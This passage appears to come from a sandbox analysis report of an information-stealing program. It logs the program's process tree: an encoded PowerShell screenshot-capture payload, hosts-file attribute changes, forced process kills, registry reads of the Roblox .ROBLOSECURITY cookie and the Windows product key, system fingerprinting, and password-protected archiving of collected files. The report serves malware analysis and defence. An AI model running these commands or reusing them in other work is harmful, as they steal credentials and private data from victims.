MAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:5496
                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:5812
                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\whwwkbxr\whwwkbxr.cmdline"
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:5632
                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAA54.tmp" "c:\Users\Admin\AppData\Local\Temp\whwwkbxr\CSC21F164BD6558462186AC5C77373BE869.TMP"
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:2820
                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:5668
                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:4988
                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:768
                                                                                                                                                                                  • C:\Windows\system32\tree.com
                                                                                                                                                                                    tree /A /F
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:5416
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:5976
                                                                                                                                                                                      • C:\Windows\system32\attrib.exe
                                                                                                                                                                                        attrib -r C:\Windows\System32\drivers\etc\hosts
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • Drops file in Drivers directory
                                                                                                                                                                                        • Views/modifies file attributes
                                                                                                                                                                                        PID:6068
                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:3592
                                                                                                                                                                                        • C:\Windows\system32\tree.com
                                                                                                                                                                                          tree /A /F
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:6096
                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:2372
                                                                                                                                                                                            • C:\Windows\system32\attrib.exe
                                                                                                                                                                                              attrib +r C:\Windows\System32\drivers\etc\hosts
                                                                                                                                                                                              4⤵
                                                                                                                                                                                              • Drops file in Drivers directory
                                                                                                                                                                                              • Views/modifies file attributes
                                                                                                                                                                                              PID:5192
                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:5440
                                                                                                                                                                                              • C:\Windows\system32\tree.com
                                                                                                                                                                                                tree /A /F
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:5292
                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:5636
                                                                                                                                                                                                  • C:\Windows\system32\tasklist.exe
                                                                                                                                                                                                    tasklist /FO LIST
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                    • Enumerates processes with tasklist
                                                                                                                                                                                                    PID:440
                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:5876
                                                                                                                                                                                                    • C:\Windows\system32\tree.com
                                                                                                                                                                                                      tree /A /F
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:5284
                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:5308
                                                                                                                                                                                                        • C:\Windows\system32\tree.com
                                                                                                                                                                                                          tree /A /F
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:5764
                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5036"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:5240
                                                                                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                              taskkill /F /PID 5036
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                              PID:5844
                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3924"
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:6068
                                                                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                taskkill /F /PID 3924
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                PID:6052
                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5036"
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:5888
                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                  taskkill /F /PID 5036
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                  PID:6036
                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1988"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:3664
                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:6056
                                                                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                      taskkill /F /PID 1988
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                      PID:5268
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3924"
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:2036
                                                                                                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                        taskkill /F /PID 3924
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                        PID:5252
                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1848"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:6016
                                                                                                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                          taskkill /F /PID 1848
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                          PID:2820
                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1988"
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:4668
                                                                                                                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                            taskkill /F /PID 1988
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                            PID:4368
                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4444"
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:5500
                                                                                                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                              taskkill /F /PID 4444
                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                              PID:4760
                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1848"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:5828
                                                                                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                taskkill /F /PID 1848
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                PID:5880
                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3964"
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:668
                                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                  taskkill /F /PID 3964
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                  PID:5820
                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4444"
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:5412
                                                                                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                    taskkill /F /PID 4444
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                    PID:5104
                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2072"
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:1380
                                                                                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                      taskkill /F /PID 2072
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                      PID:676
                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3964"
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:1112
                                                                                                                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                        taskkill /F /PID 3964
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                        PID:4888
                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4092"
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:5832
                                                                                                                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                          taskkill /F /PID 4092
                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                          PID:4284
                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2072"
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:3220
                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                              PID:440
                                                                                                                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                              taskkill /F /PID 2072
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                                              PID:5328
                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5520"
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:5724
                                                                                                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                taskkill /F /PID 5520
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                PID:840
                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4092"
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:1504
                                                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                  taskkill /F /PID 4092
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                  PID:3592
                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:408
                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                      PID:2356
                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                      PID:3140
                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5520"
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:5888
                                                                                                                                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                        taskkill /F /PID 5520
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                        PID:1212
                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:4984
                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                          powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:5440
                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "getmac"
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:5592
                                                                                                                                                                                                                                                            • C:\Windows\system32\getmac.exe
                                                                                                                                                                                                                                                              getmac
                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                PID:4368
                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI61162\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\NCWnk.zip" *"
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:5332
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\_MEI61162\rar.exe
                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\_MEI61162\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\NCWnk.zip" *
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                  PID:5656
                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:3604
                                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                    wmic os get Caption
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                      PID:5824
                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:5220
                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                          PID:5820
                                                                                                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                          wmic computersystem get totalphysicalmemory
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                            PID:1200
                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:5104
                                                                                                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                              wmic csproduct get uuid
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:5112
                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:5860
                                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                    PID:4888
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                    powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                    PID:5732
                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:3212
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                      wmic path win32_VideoController get name
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Detects videocard installed
                                                                                                                                                                                                                                                                                      PID:4956
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:2460
                                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                          PID:5676
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\svchost.exe -k SDRSVC
                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                      PID:5648

                                                                                                                                                                                                                                                                                    Network

                                                                                                                                                                                                                                                                                    MITRE ATT&CK Enterprise v15

